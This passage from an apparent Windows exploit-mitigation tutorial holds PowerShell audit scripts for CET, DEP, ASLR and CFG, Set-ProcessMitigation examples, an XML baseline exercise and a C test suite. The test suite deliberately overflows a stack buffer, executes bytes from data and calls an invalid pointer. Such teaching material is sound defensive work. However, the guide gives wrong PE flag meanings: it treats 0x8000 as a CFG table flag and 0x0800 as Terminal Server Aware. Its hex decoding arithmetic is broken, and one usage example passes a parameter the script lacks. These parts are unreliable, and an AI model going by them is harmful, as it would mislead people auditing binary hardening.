{\n            Write-Host \"  [-] User-mode Shadow Stack: Not configured\" -ForegroundColor Yellow\n            Write-Host \"      To enable: Set-ProcessMitigation -System -Enable UserShadowStack\" -ForegroundColor Gray\n            Write-Host \"      Requires: Windows 11 22H2+, CET-enabled in BIOS\" -ForegroundColor Gray\n        } else {\n            Write-Host \"  [?] User-mode Shadow Stack: Unknown status ($shadowStackValue)\" -ForegroundColor Yellow\n        }\n\n        # Check kernel shadow stack (Windows 11 24H2+)\n        if ($mitigation.PSObject.Properties.Name -contains \"KernelShadowStack\") {\n            $kernelShadow = $mitigation.KernelShadowStack\n            $kernelValue = $kernelShadow.Enable\n\n            Write-Host \"  Debug: KernelShadowStack.Enable = '$kernelValue'\" -ForegroundColor Gray\n\n            if ($kernelValue -eq \"ON\" -or $kernelValue -eq $true -or $kernelValue -eq 1) {\n                Write-Host \"  [+] Kernel-mode Shadow Stack: Enabled\" -ForegroundColor Green\n            } elseif ($kernelValue -eq \"OFF\" -or $kernelValue -eq $false -or $kernelValue -eq 0) {\n                Write-Host \"  [-] Kernel-mode Shadow Stack: Explicitly disabled\" -ForegroundColor Red\n            } elseif ([string]::IsNullOrEmpty($kernelValue) -or $kernelValue -eq \"NOTSET\" -or $null -eq $kernelValue) {\n                Write-Host \"  [-] Kernel-mode Shadow Stack: Not configured\" -ForegroundColor Yellow\n                Write-Host \"      Requires Windows 11 24H2+ and BIOS CET support\" -ForegroundColor Gray\n            } else {\n                Write-Host \"  [?] Kernel-mode Shadow Stack: Unknown status ($kernelValue)\" -ForegroundColor Yellow\n            }\n        } else {\n            Write-Host \"  [-] Kernel-mode Shadow Stack: Not available (requires Windows 11 24H2+)\" -ForegroundColor Yellow\n        }\n\n        # Check Windows version\n        $osVersion = [System.Environment]::OSVersion.Version\n        $buildNumber = (Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\").CurrentBuild\n        $displayVersion = (Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\").DisplayVersion\n\n        Write-Host \"`n  Windows Version: $($osVersion.Major).$($osVersion.Minor) Build $buildNumber\" -ForegroundColor Gray\n\n        if ($buildNumber -ge 26100) {\n            Write-Host \"  [+] Windows 11 24H2+ detected (Build $buildNumber)\" -ForegroundColor Green\n            Write-Host \"      CET\u002FShadow Stack is supported on this version\" -ForegroundColor Gray\n            Write-Host \"      If not working, check BIOS settings for CET\u002FIBT support\" -ForegroundColor Gray\n        } elseif ($buildNumber -ge 22621) {\n            Write-Host \"  [+] Windows 11 22H2+ detected (Build $buildNumber)\" -ForegroundColor Green\n            Write-Host \"      User-mode Shadow Stack is supported\" -ForegroundColor Gray\n        } elseif ($buildNumber -ge 22000) {\n            Write-Host \"  [~] Windows 11 detected (Build $buildNumber)\" -ForegroundColor Yellow\n            Write-Host \"      User-mode Shadow Stack requires 22H2+ (Build 22621+)\" -ForegroundColor Yellow\n        } else {\n            Write-Host \"  [!] Windows 10 detected (Build $buildNumber)\" -ForegroundColor Yellow\n            Write-Host \"      CET\u002FShadow Stack requires Windows 11 (Build 22000+)\" -ForegroundColor Yellow\n        }\n\n    } catch {\n        Write-Host \"  [~] Could not query Shadow Stack status: $($_.Exception.Message)\" -ForegroundColor Yellow\n    }\n} else {\n    Write-Host \"[-] CET: CPU does not support CET ($($cpu.Name))\" -ForegroundColor Yellow\n    Write-Host \"    CET requires: Intel 11th Gen (Tiger Lake)+, or AMD Zen 3+\" -ForegroundColor Gray\n}\n\n# 7. Check Exploit Protection\nWrite-Host \"`n[*] Checking Exploit Protection...\" -ForegroundColor Yellow\ntry {\n    $exploitProtection = Get-ProcessMitigation -System\n\n    # DEP\n    $depStatus = $exploitProtection.DEP.Enable\n    if ($depStatus -in @(\"ON\", $true)) {\n        Write-Host \"  [+] DEP (System): Enabled\" -ForegroundColor Green\n    } elseif ($depStatus -eq \"NOTSET\") {\n        Write-Host \"  [~] DEP (System): Not configured (uses default)\" -ForegroundColor Yellow\n    } else {\n        Write-Host \"  [-] DEP (System): $depStatus\" -ForegroundColor Red\n    }\n\n    # ASLR\n    $aslrStatus = $exploitProtection.ASLR.ForceRelocateImages\n    if ($aslrStatus -in @(\"ON\", $true)) {\n        Write-Host \"  [+] ASLR (System): Force relocate enabled\" -ForegroundColor Green\n    } elseif ($aslrStatus -eq \"NOTSET\") {\n        Write-Host \"  [~] ASLR (System): Not forced (per-binary ASLR still active)\" -ForegroundColor Yellow\n    } else {\n        Write-Host \"  [-] ASLR (System): $aslrStatus\" -ForegroundColor Red\n    }\n\n    # Heap Integrity\n    $heapStatus = $exploitProtection.Heap.TerminateOnError\n    if ($heapStatus -in @(\"ON\", $true)) {\n        Write-Host \"  [+] Heap Integrity: Terminate on error enabled\" -ForegroundColor Green\n    } elseif ($heapStatus -eq \"NOTSET\") {\n        Write-Host \"  [~] Heap Integrity: Not configured (default protection active)\" -ForegroundColor Yellow\n    } else {\n        Write-Host \"  [-] Heap Integrity: $heapStatus\" -ForegroundColor Red\n    }\n\n    # CFG\n    $cfgStatus = $exploitProtection.CFG.Enable\n    if ($cfgStatus -in @(\"ON\", $true)) {\n        Write-Host \"  [+] Control Flow Guard: Enabled system-wide\" -ForegroundColor Green\n    } elseif ($cfgStatus -eq \"NOTSET\") {\n        Write-Host \"  [~] CFG: Not forced (per-binary CFG still works)\" -ForegroundColor Yellow\n    } else {\n        Write-Host \"  [-] CFG: $cfgStatus\" -ForegroundColor Red\n    }\n\n    Write-Host \"`n  Note: NOTSET means Windows uses default behavior (mitigations still active)\" -ForegroundColor Gray\n} catch {\n    Write-Host \"  [!] Could not query Exploit Protection settings\" -ForegroundColor Red\n}\n\nWrite-Host \"`n=== Audit Complete ===\" -ForegroundColor Cyan\n```\n\n**Run Audit**:\n\n```bash\nSet-ExecutionPolicy Bypass -Scope Process -Force\n.\\src\\mitigation_audit.ps1 > audit_report.txt\n```\n\n### ProcessMitigation PowerShell Module\n\n**Available Cmdlets**:\n\n- `Get-ProcessMitigation` - Query current settings\n- `Set-ProcessMitigation` - Configure mitigations\n- `ConvertTo-ProcessMitigationPolicy` - Convert policy formats\n\n**System-Wide Configuration**:\n\n```bash\n# View all system mitigations\nGet-ProcessMitigation -System\n\n# Enable DEP system-wide\nSet-ProcessMitigation -System -Enable DEP\n\n# Enable multiple mitigations\nSet-ProcessMitigation -System -Enable DEP, SEHOP, ForceRelocateImages\n\n# Enable CFG system-wide\nSet-ProcessMitigation -System -Enable CFG\n\n# Enable User Shadow Stack (Windows 11 22H2+, requires CET-capable CPU)\nSet-ProcessMitigation -System -Enable UserShadowStack\n\n# Reset system settings to defaults\nSet-ProcessMitigation -System -Reset\n```\n\n**Per-Application Configuration**:\n\n```bash\n# Check specific application\nGet-ProcessMitigation -Name notepad.exe\n\n# Enable CFG for application\nSet-ProcessMitigation -Name \"myapp.exe\" -Enable CFG\n\n# Disable specific mitigation (for legacy apps)\nSet-ProcessMitigation -Name \"legacy.exe\" -Disable ForceRelocateImages\n\n# Multiple settings at once\nSet-ProcessMitigation -Name \"secure.exe\" `\n    -Enable DEP, CFG, SEHOP, ForceRelocateImages `\n    -Disable EmulateAtlThunks\n\n# Remove application-specific overrides (revert to system defaults)\nSet-ProcessMitigation -Name \"myapp.exe\" -Remove\n```\n\n**Export\u002FImport Configurations**:\n\n```bash\n# Export ALL per-application mitigation overrides to XML\nGet-ProcessMitigation -RegistryConfigFilePath settings.xml\n\n# Import settings from XML\nSet-ProcessMitigation -PolicyFilePath .\\settings.xml\n\n# Convert EMET policy to ProcessMitigation format\nConvertTo-ProcessMitigationPolicy -EMETFilePath .\\emet.xml -OutputFilePath .\\converted.xml\n```\n\n**Important Notes**:\n\n- Export only saves **per-application overrides**, not system-wide defaults\n- System defaults are built into Windows and don't need to be exported\n- You cannot export just `-System` or just `-Name` - it's all per-app configs or nothing\n- The XML format uses `\u003CAppConfig Executable=\"...\">` for each application\n\n### Scenario: The Legacy App Exception\n\nSecurity Engineers often face a dilemma: a critical business application crashes with ASLR enabled. You must create an exception.\n\n### Binary Analysis\n\n**Using dumpbin (Recommended - included with Visual Studio)**:\n\n```bash\n# Check PE headers for mitigation flags\ndumpbin \u002Fheaders bin\\vuln_server_cfg.exe | findstr \"DLL characteristics\"\n\n# Look for these flags in hex:\n# 0x0040 - Dynamic base (ASLR)\n# 0x0100 - NX compatible (DEP)\n# 0x0400 - No SEH\n# 0x4000 - Control Flow Guard\n# 0x8000 - Guard CF function table present\n# 0x0020 - High Entropy VA (64-bit ASLR)\n\n# Example output:\n#            8160 DLL characteristics\n#                   High Entropy Virtual Addresses\n#                   Dynamic base\n#                   NX compatible\n#                   Control Flow Guard\n\n# Decode hex flags manually:\n# C120 = 0x4000 (CFG) + 0x8000 (CFG table) + 0x0100 (DEP) + 0x0020 (High Entropy)\n# 8160 = 0x4000 (CFG) + 0x4000 (CFG) + 0x0100 (DEP) + 0x0040 (ASLR) + 0x0020 (High Entropy)\n\n# Check for CFG specifically\ndumpbin \u002Floadconfig bin\\vuln_server_cfg.exe | findstr \"Guard\"\n\n# Quick mitigation checker script\nfunction Check-Mitigations {\n    param([string]$Path)\n\n    $output = dumpbin \u002Fheaders $Path 2>&1 | Out-String\n    $match = $output -match '([0-9A-F]+)\\s+DLL characteristics'\n\n    if ($match) {\n        $hex = $matches[1]\n        $value = [Convert]::ToInt32($hex, 16)\n\n        [PSCustomObject]@{\n            Binary = Split-Path $Path -Leaf\n            ASLR = ($value -band 0x0040) -ne 0\n            DEP = ($value -band 0x0100) -ne 0\n            CFG = ($value -band 0x4000) -ne 0\n            HighEntropyVA = ($value -band 0x0020) -ne 0\n            HexValue = \"0x$hex\"\n        }\n    } else {\n        Write-Error \"Could not parse DLL characteristics from $Path\"\n    }\n}\n\n# Usage: Check-Mitigations \"bin\\myapp.exe\"\n```\n\n**Using PowerShell to check running processes**:\n\n```bash\n# Check mitigation policies for all running processes\nGet-Process | ForEach-Object {\n    $name = $_.ProcessName\n    try {\n        $mitigation = Get-ProcessMitigation -Name \"$name.exe\" -ErrorAction SilentlyContinue\n        if ($mitigation) {\n            [PSCustomObject]@{\n                Process = $name\n                DEP = $mitigation.DEP.Enable\n                ASLR = $mitigation.ASLR.ForceRelocateImages\n                CFG = $mitigation.CFG.Enable\n                SEHOP = $mitigation.SEHOP.Enable\n            }\n        }\n    } catch {}\n} | Where-Object { $_.DEP -ne 'NOTSET' -or $_.ASLR -ne 'NOTSET' -or $_.CFG -ne 'NOTSET' } | Format-Table -AutoSize\n\n# Note: This shows policy overrides, not actual binary mitigations\n# NOTSET means using default Windows behavior (which is usually secure)\n# To check actual PE binary flags, use Check-Mitigations function or dumpbin\n```\n\n**Manual PE Header Check**:\n\n```bash\n# check_pe_security.ps1\nparam([string]$binary)\n\nWrite-Host \"Analyzing: $binary\" -ForegroundColor Cyan\n\n# Use dumpbin (Visual Studio)\n$headers = & dumpbin.exe \u002Fheaders $binary 2>$null\n\n# Check flags\n$features = @{\n    \"ASLR\" = $headers | Select-String \"Dynamic base\"\n    \"DEP\" = $headers | Select-String \"NX compatible\"\n    \"CFG\" = $headers | Select-String \"Guard CF\"\n    \"High Entropy ASLR\" = $headers | Select-String \"High Entropy Virtual Addresses\"\n    \"Safe SEH\" = $headers | Select-String \"Safe SEH\"\n}\n\nforeach ($feature in $features.Keys) {\n    if ($features[$feature]) {\n        Write-Host \"[+] $feature: Enabled\" -ForegroundColor Green\n    } else {\n        Write-Host \"[-] $feature: Disabled\" -ForegroundColor Red\n    }\n}\n```\n\n### Windows 11 24H2 Security Baseline\n\nMicrosoft's security baseline for 24H2 includes recommended mitigation settings:\n\n**Recommended Exploit Protection Settings**:\n\n| Mitigation         | Recommendation                     |\n| ------------------ | ---------------------------------- |\n| DEP                | Enable for all applications        |\n| ASLR (BottomUp)    | Enable system-wide                 |\n| ASLR (HighEntropy) | Enable for 64-bit apps             |\n| CFG                | Enable where supported             |\n| SEHOP              | Enable (default on)                |\n| Heap Termination   | Enable                             |\n| ACG                | Enable for browsers, security apps |\n\n**VBS-Related Settings**:\n\n- Memory Integrity (HVCI): Enable\n- Kernel DMA Protection: Enable\n- Credential Guard: Enable for enterprise\n\n**Checking Baseline Compliance**:\n\n```bash\n# Export current settings\nGet-ProcessMitigation -RegistryConfigFilePath current_settings.xml\n\n# Compare with baseline (Microsoft Security Compliance Toolkit)\n# Download from: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fdetails.aspx?id=55319\n\n# Manual comparison - check for risky overrides\n[xml]$config = Get-Content current_settings.xml\n$riskyApps = $config.MitigationPolicy.AppConfig | Where-Object {\n    $_.DEP.Enable -eq 'false' -or\n    $_.ASLR.ForceRelocateImages -eq 'false' -or\n    $_.CFG.Enable -eq 'false'\n}\n\nif ($riskyApps) {\n    Write-Host \"WARNING: Found applications with weakened mitigations:\" -ForegroundColor Red\n    $riskyApps | ForEach-Object {\n        Write-Host \"  - $($_.Executable)\" -ForegroundColor Yellow\n        if ($_.DEP.Enable -eq 'false') { Write-Host \"    DEP: Disabled\" -ForegroundColor Red }\n        if ($_.ASLR.ForceRelocateImages -eq 'false') { Write-Host \"    ASLR: Disabled\" -ForegroundColor Red }\n        if ($_.CFG.Enable -eq 'false') { Write-Host \"    CFG: Disabled\" -ForegroundColor Red }\n    }\n} else {\n    Write-Host \"No risky mitigation overrides found\" -ForegroundColor Green\n}\n```\n\n### Exploit Protection XML Baseline Exercise\n\n> [!TIP]\n> **Enterprise Workflow**: Organizations use Exploit Protection XML policies to\n> standardize mitigation settings across endpoints. This exercise teaches you\n> to export, import, and audit these policies.\n\n#### Step 1: Export Current Settings\n\n```bash\n# Export system-wide and per-app settings to XML\nmkdir C:\\Baselines\nGet-ProcessMitigation -RegistryConfigFilePath C:\\Baselines\\current_settings.xml\n\n# View the exported XML structure\nGet-Content C:\\Baselines\\current_settings.xml | Select-Object -First 50\n```\n\n#### Step 2: Create a Hardened Baseline\n\nSave the following as `hardened_baseline.xml`:\n\n```xml\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CMitigationPolicy>\n  \u003CAppConfig Executable=\"notepad.exe\">\n    \u003CDEP Enable=\"true\" EmulateAtlThunks=\"false\" \u002F>\n    \u003CASLR ForceRelocateImages=\"true\" RequireInfo=\"false\" \u002F>\n  \u003C\u002FAppConfig>\n\n  \u003CAppConfig Executable=\"calc.exe\">\n    \u003CDEP Enable=\"true\" EmulateAtlThunks=\"false\" \u002F>\n    \u003CASLR ForceRelocateImages=\"true\" RequireInfo=\"false\" \u002F>\n    \u003CCFG Enable=\"true\" SuppressExports=\"false\" \u002F>\n  \u003C\u002FAppConfig>\n\u003C\u002FMitigationPolicy>\n```\n\n**For system-wide settings**:\n\n```bash\n# Configure system-wide mitigations (not supported in XML)\nSet-ProcessMitigation -System -Enable DEP, ForceRelocateImages, CFG, SEHOP, TerminateOnError\n```\n\n#### Step 3: Apply the Configuration\n\n```bash\n# Method 1: Import from XML (if it works)\nSet-ProcessMitigation -PolicyFilePath C:\\Baselines\\hardened_baseline.xml\n\n# Method 2: Direct PowerShell configuration (more reliable)\nSet-ProcessMitigation -Name \"chrome.exe\" -Enable DEP, ForceRelocateImages, CFG, SEHOP\nSet-ProcessMitigation -Name \"msedge.exe\" -Enable DEP, ForceRelocateImages, CFG\n\n# Configure system-wide settings\nSet-ProcessMitigation -System -Enable DEP, ForceRelocateImages, CFG, SEHOP, TerminateOnError\n\n# Verify the configuration\nGet-ProcessMitigation -Name chrome.exe\nGet-ProcessMitigation -System\n```\n\n#### Step 4: Compare and Audit\n\n```bash\n# compare_baselines.ps1 - Compare current vs baseline settings\nparam(\n    [string]$BaselinePath = \"C:\\Baselines\\hardened_baseline.xml\",\n    [string]$CurrentPath = \"C:\\Baselines\\current_settings.xml\"\n)\n\n# Export fresh current settings\nGet-ProcessMitigation -RegistryConfigFilePath $CurrentPath\n\n# Load both XMLs\n[xml]$baseline = Get-Content $BaselinePath\n[xml]$current = Get-Content $CurrentPath\n\nWrite-Host \"=== Exploit Protection Baseline Comparison ===\" -ForegroundColor Cyan\nWrite-Host \"\"\n\n# Compare System Config\nWrite-Host \"System-Level Mitigations:\" -ForegroundColor Yellow\n\n$systemMitigations = @(\"DEP\", \"ASLR\", \"SEHOP\", \"Heap\", \"ControlFlowGuard\")\nforeach ($mit in $systemMitigations) {\n    $baselineNode = $baseline.MitigationPolicy.SystemConfig.$mit\n    $currentNode = $current.MitigationPolicy.SystemConfig.$mit\n\n    if ($baselineNode -and $currentNode) {\n        $baselineEnable = $baselineNode.Enable\n        $currentEnable = $currentNode.Enable\n\n        if ($baselineEnable -eq $currentEnable) {\n            Write-Host \"  [OK] $mit : $currentEnable\" -ForegroundColor Green\n        } else {\n            Write-Host \"  [!!] $mit : Expected=$baselineEnable, Actual=$currentEnable\" -ForegroundColor Red\n        }\n    }\n}\n\nWrite-Host \"\"\nWrite-Host \"Per-Application Overrides:\" -ForegroundColor Yellow\n$currentApps = $current.MitigationPolicy.AppConfig | ForEach-Object { $_.Executable }\nforeach ($app in $currentApps) {\n    Write-Host \"  - $app\" -ForegroundColor Cyan\n}\n```\n\n#### Step 5: Verify Effect on Test Binary\n\n```bash\n# Create test to verify baseline applies\n# 1. Compile a test binary without hardening\n\n# 2. Add per-process mitigation via policy\n\n# 3. Apply policy\n\n# 4. Check that mitigations are enforced at runtime\n\n# DEP should show ON even though binary was compiled with \u002FNXCOMPAT:NO\n# (System policy overrides binary preference)\n```\n\n### Per-Binary PE Mitigation Audit Checklist\n\n#### PowerShell Audit Script\n\nSave as `audit_pe_mitigations.ps1`:\n\n```bash\n# audit_pe_mitigations.ps1\n# Audits PE binary mitigations using dumpbin\nparam(\n    [Parameter(Mandatory=$true)]\n    [string]$TargetPath,\n\n    [Parameter(Mandatory=$false)]\n    [switch]$Recurse\n)\n\n# Function to find dumpbin.exe\nfunction Find-Dumpbin {\n    # Check if dumpbin is in PATH\n    $dumpbin = Get-Command dumpbin.exe -ErrorAction SilentlyContinue\n    if ($dumpbin) {\n        return $dumpbin.Source\n    }\n\n    # Search common Visual Studio installation paths\n    $vsPaths = @(\n        \"${env:ProgramFiles}\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\",\n        \"${env:ProgramFiles}\\Microsoft Visual Studio\\2022\\Professional\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\",\n        \"${env:ProgramFiles}\\Microsoft Visual Studio\\2022\\Enterprise\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\",\n        \"${env:ProgramFiles(x86)}\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\",\n        \"${env:ProgramFiles(x86)}\\Microsoft Visual Studio\\2019\\Professional\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\",\n        \"${env:ProgramFiles(x86)}\\Microsoft Visual Studio\\2019\\Enterprise\\VC\\Tools\\MSVC\\*\\bin\\Hostx64\\x64\\dumpbin.exe\"\n    )\n\n    foreach ($pattern in $vsPaths) {\n        $found = Get-Item $pattern -ErrorAction SilentlyContinue | Select-Object -First 1\n        if ($found) {\n            return $found.FullName\n        }\n    }\n\n    return $null\n}\n\n# Find dumpbin\n$dumpbinPath = Find-Dumpbin\nif (-not $dumpbinPath) {\n    Write-Error \"dumpbin.exe not found. Please run this from Developer Command Prompt or install Visual Studio Build Tools.\"\n    Write-Host \"`nAlternative: Use the Check-Mitigations function instead:\" -ForegroundColor Yellow\n    Write-Host \"  Check-Mitigations '$TargetPath'\" -ForegroundColor Gray\n    exit 1\n}\n\nWrite-Host \"Using dumpbin: $dumpbinPath\" -ForegroundColor Gray\n\n# Function to audit a single binary\nfunction Audit-Binary {\n    param([string]$FilePath)\n\n    # Get DLL characteristics\n    $output = & $dumpbinPath \u002Fheaders $FilePath 2>&1 | Out-String\n    $match = $output -match '([0-9A-F]+)\\s+DLL characteristics'\n\n    if ($match) {\n        $hex = $matches[1]\n        $value = [Convert]::ToInt32($hex, 16)\n\n        return [PSCustomObject]@{\n            Binary = Split-Path $FilePath -Leaf\n            Path = $FilePath\n            HexValue = \"0x$hex\"\n            DEP = ($value -band 0x0100) -ne 0\n            ASLR = ($value -band 0x0040) -ne 0\n            HighEntropyVA = ($value -band 0x0020) -ne 0\n            CFG = ($value -band 0x4000) -ne 0\n            CFGTable = ($value -band 0x8000) -ne 0\n            NoSEH = ($value -band 0x0400) -ne 0\n        }\n    }\n    return $null\n}\n\n# Check if target is a directory\nif (Test-Path $TargetPath -PathType Container) {\n    if (-not $Recurse) {\n        Write-Error \"Target is a directory. Use -Recurse to scan all binaries in the directory.\"\n        exit 1\n    }\n\n    Write-Host \"`n=== Scanning Directory: $TargetPath ===\" -ForegroundColor Cyan\n\n    # Find all PE files\n    $files = Get-ChildItem -Path $TargetPath -Include *.exe,*.dll -Recurse -ErrorAction SilentlyContinue\n\n    if ($files.Count -eq 0) {\n        Write-Host \"No PE files found in directory\" -ForegroundColor Yellow\n        exit 0\n    }\n\n    Write-Host \"Found $($files.Count) PE files. Analyzing...\" -ForegroundColor White\n\n    $results = @()\n    $processed = 0\n\n    foreach ($file in $files) {\n        $processed++\n        if ($processed % 10 -eq 0) {\n            Write-Progress -Activity \"Scanning binaries\" -Status \"$processed of $($files.Count)\" -PercentComplete (($processed \u002F $files.Count) * 100)\n        }\n\n        try {\n            $result = Audit-Binary -FilePath $file.FullName\n            if ($result) {\n                $results += $result\n            }\n        } catch {\n            # Skip files that can't be analyzed\n        }\n    }\n\n    Write-Progress -Activity \"Scanning binaries\" -Completed\n\n    # Display summary\n    Write-Host \"`n=== Summary ===\" -ForegroundColor Cyan\n    Write-Host \"Total binaries analyzed: $($results.Count)\" -ForegroundColor White\n\n    $stats = @{\n        DEP = ($results | Where-Object { $_.DEP }).Count\n        ASLR = ($results | Where-Object { $_.ASLR }).Count\n        HighEntropyVA = ($results | Where-Object { $_.HighEntropyVA }).Count\n        CFG = ($results | Where-Object { $_.CFG }).Count\n    }\n\n    Write-Host \"`nMitigation Coverage:\" -ForegroundColor Yellow\n    foreach ($mitigation in $stats.GetEnumerator() | Sort-Object Name) {\n        $percentage = [math]::Round(($mitigation.Value \u002F $results.Count) * 100, 1)\n        Write-Host \"  $($mitigation.Key): $($mitigation.Value)\u002F$($results.Count) ($percentage%)\" -ForegroundColor White\n    }\n\n    # Show binaries without key mitigations\n    Write-Host \"`nBinaries without DEP:\" -ForegroundColor Red\n    $results | Where-Object { -not $_.DEP } | Select-Object -First 10 Binary | ForEach-Object { Write-Host \"  - $($_.Binary)\" -ForegroundColor Yellow }\n\n    Write-Host \"`nBinaries without ASLR:\" -ForegroundColor Red\n    $results | Where-Object { -not $_.ASLR } | Select-Object -First 10 Binary | ForEach-Object { Write-Host \"  - $($_.Binary)\" -ForegroundColor Yellow }\n\n    Write-Host \"`nBinaries without CFG:\" -ForegroundColor Red\n    $results | Where-Object { -not $_.CFG } | Select-Object -First 10 Binary | ForEach-Object { Write-Host \"  - $($_.Binary)\" -ForegroundColor Yellow }\n\n    # Export to CSV\n    $csvPath = \"mitigation_audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv\"\n    $results | Export-Csv -Path $csvPath -NoTypeInformation\n    Write-Host \"`nFull results exported to: $csvPath\" -ForegroundColor Green\n\n    exit 0\n}\n\n# Verify target exists\nif (-not (Test-Path $TargetPath)) {\n    Write-Error \"Target file not found: $TargetPath\"\n    exit 1\n}\n\n$TargetPath = Resolve-Path $TargetPath\n\nWrite-Host \"`n=== PE Mitigation Audit ===\" -ForegroundColor Cyan\nWrite-Host \"Target: $TargetPath`n\" -ForegroundColor White\n\n# Get DLL characteristics\n$output = & $dumpbinPath \u002Fheaders $TargetPath 2>&1 | Out-String\n$match = $output -match '([0-9A-F]+)\\s+DLL characteristics'\n\nif ($match) {\n    $hex = $matches[1]\n    $value = [Convert]::ToInt32($hex, 16)\n\n    Write-Host \"DLL Characteristics: 0x$hex\" -ForegroundColor White\n    Write-Host \"\"\n\n    # Check each mitigation\n    $mitigations = @{\n        \"DEP (NX)\" = @{ Flag = 0x0100; Enabled = ($value -band 0x0100) -ne 0 }\n        \"ASLR (Dynamic Base)\" = @{ Flag = 0x0040; Enabled = ($value -band 0x0040) -ne 0 }\n        \"High Entropy VA\" = @{ Flag = 0x0020; Enabled = ($value -band 0x0020) -ne 0 }\n        \"Control Flow Guard\" = @{ Flag = 0x4000; Enabled = ($value -band 0x4000) -ne 0 }\n        \"Guard CF Function Table\" = @{ Flag = 0x8000; Enabled = ($value -band 0x8000) -ne 0 }\n        \"No SEH\" = @{ Flag = 0x0400; Enabled = ($value -band 0x0400) -ne 0 }\n        \"Terminal Server Aware\" = @{ Flag = 0x0800; Enabled = ($value -band 0x0800) -ne 0 }\n    }\n\n    foreach ($mitigation in $mitigations.GetEnumerator() | Sort-Object Name) {\n        $status = if ($mitigation.Value.Enabled) { \"[+]\" } else { \"[-]\" }\n        $color = if ($mitigation.Value.Enabled) { \"Green\" } else { \"Red\" }\n        $flagHex = \"0x{0:X4}\" -f $mitigation.Value.Flag\n\n        Write-Host \"$status $($mitigation.Key) ($flagHex)\" -ForegroundColor $color\n    }\n\n    # Check for CFG details\n    Write-Host \"`n--- Control Flow Guard Details ---\" -ForegroundColor Yellow\n    $cfgOutput = & $dumpbinPath \u002Floadconfig $TargetPath 2>&1 | Select-String \"Guard\"\n    if ($cfgOutput) {\n        $cfgOutput | ForEach-Object { Write-Host \"  $_\" -ForegroundColor Gray }\n    } else {\n        Write-Host \"  No CFG information found\" -ForegroundColor Gray\n    }\n\n} else {\n    Write-Error \"Could not parse DLL characteristics from binary\"\n    exit 1\n}\n\nWrite-Host \"`n=== Audit Complete ===\" -ForegroundColor Cyan\n```\n\n#### Usage Examples\n\n```bash\n# Audit current directory\n.\\src\\audit_pe_mitigations.ps1 -TargetPath \"bin\\acg_test.exe\"\n\n# Audit Windows System32 (requires admin)\n.\\src\\audit_pe_mitigations.ps1 -TargetPath \"C:\\Windows\\System32\" -Recurse\n\n# Audit your application deployment\n.\\src\\audit_pe_mitigations.ps1 -TargetPath \"C:\\Program Files\\MyApp\" -Recurse -OutputFile \"myapp_audit.csv\"\n```\n\n### End-to-End Testing\n\n**Test Suite for All Mitigations**:\n\n```c\n\u002F\u002F mitigation_test_suite.c\n\u002F\u002F Compile with ALL protections, then test each\n\u002F\u002F\n\u002F\u002F IMPORTANT: Stack cookie (\u002FGS) and CFG failures use __fastfail()\n\u002F\u002F which generates a non-continuable exception that CANNOT be caught\n\u002F\u002F by __try\u002F__except. These mitigations terminate the process immediately.\n\u002F\u002F\n\u002F\u002F For reliable testing, run each test as a SEPARATE PROCESS and check\n\u002F\u002F the exit code. The wrapper below demonstrates this approach.\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\n\u002F\u002F Exit codes to identify which mitigation triggered\n\u002F\u002F NOTE: These are arbitrary values for our testing purposes\n#define EXIT_DEP_BLOCKED      0xDE9     \u002F\u002F 3561 decimal\n#define EXIT_COOKIE_BLOCKED   0xC001E   \u002F\u002F 786462 decimal\n#define EXIT_CFG_BLOCKED      0xCF6     \u002F\u002F 3318 decimal\n#define EXIT_HEAP_BLOCKED     0xEA9     \u002F\u002F 3753 decimal\n#define EXIT_TEST_PASSED      0\n\n\u002F\u002F Test 1: DEP (should block shellcode execution)\n\u002F\u002F DEP violations ARE catchable via SEH (they're access violations)\nvoid test_dep() {\n    printf(\"\\n=== Testing DEP ===\\n\");\n    fflush(stdout);\n\n    char shellcode[] = \"\\xCC\\xC3\";  \u002F\u002F int3; ret (in .data section = NX)\n    void (*func)() = (void(*)())shellcode;\n\n    __try {\n        func();  \u002F\u002F Should crash (DEP blocks execution)\n        printf(\"[-] DEP FAILED: Shellcode executed!\\n\");\n    } __except(EXCEPTION_EXECUTE_HANDLER) {\n        printf(\"[+] DEP OK: Shellcode blocked (Access Violation)\\n\");\n    }\n    fflush(stdout);\n}\n\n\u002F\u002F Test 2: Stack Cookie - MUST run as separate process\n\u002F\u002F __fastfail() cannot be caught by SEH!\nvoid test_stack_cookie_inner() {\n    char buffer[64];\n    printf(\"[*] Triggering stack cookie overflow...\\n\");\n    fflush(stdout);\n    memset(buffer, 'A', 200);  \u002F\u002F Overflow corrupts cookie\n    \u002F\u002F Cookie check at function epilogue triggers __fastfail()\n    \u002F\u002F Process terminates with exit code 0xC0000409 - NOT catchable!\n}\n\nvoid test_stack_cookie() {\n    printf(\"\\n=== Testing Stack Cookie ===\\n\");\n    printf(\"[*] NOTE: Cookie failures use __fastfail() - not SEH-catchable\\n\");\n    printf(\"[*] Run 'mitigation_test_suite.exe --cookie' separately\\n\");\n    printf(\"[*] Expected exit code: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)\\n\");\n    fflush(stdout);\n}\n\n\u002F\u002F Test 3: CFG - MUST run as separate process\n\u002F\u002F __fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE) cannot be caught!\nvoid test_cfg_inner() {\n    printf(\"[*] Calling invalid address 0x41414141 via function pointer...\\n\");\n    fflush(stdout);\n    void (*func_ptr)() = (void(*)())0x41414141;\n    func_ptr();  \u002F\u002F CFG blocks, calls __fastfail(10)\n}\n\nvoid test_cfg() {\n    printf(\"\\n=== Testing CFG ===\\n\");\n    printf(\"[*] NOTE: CFG failures use __fastfail() - not SEH-catchable\\n\");\n    printf(\"[*] Run 'mitigation_test_suite.exe --cfg' 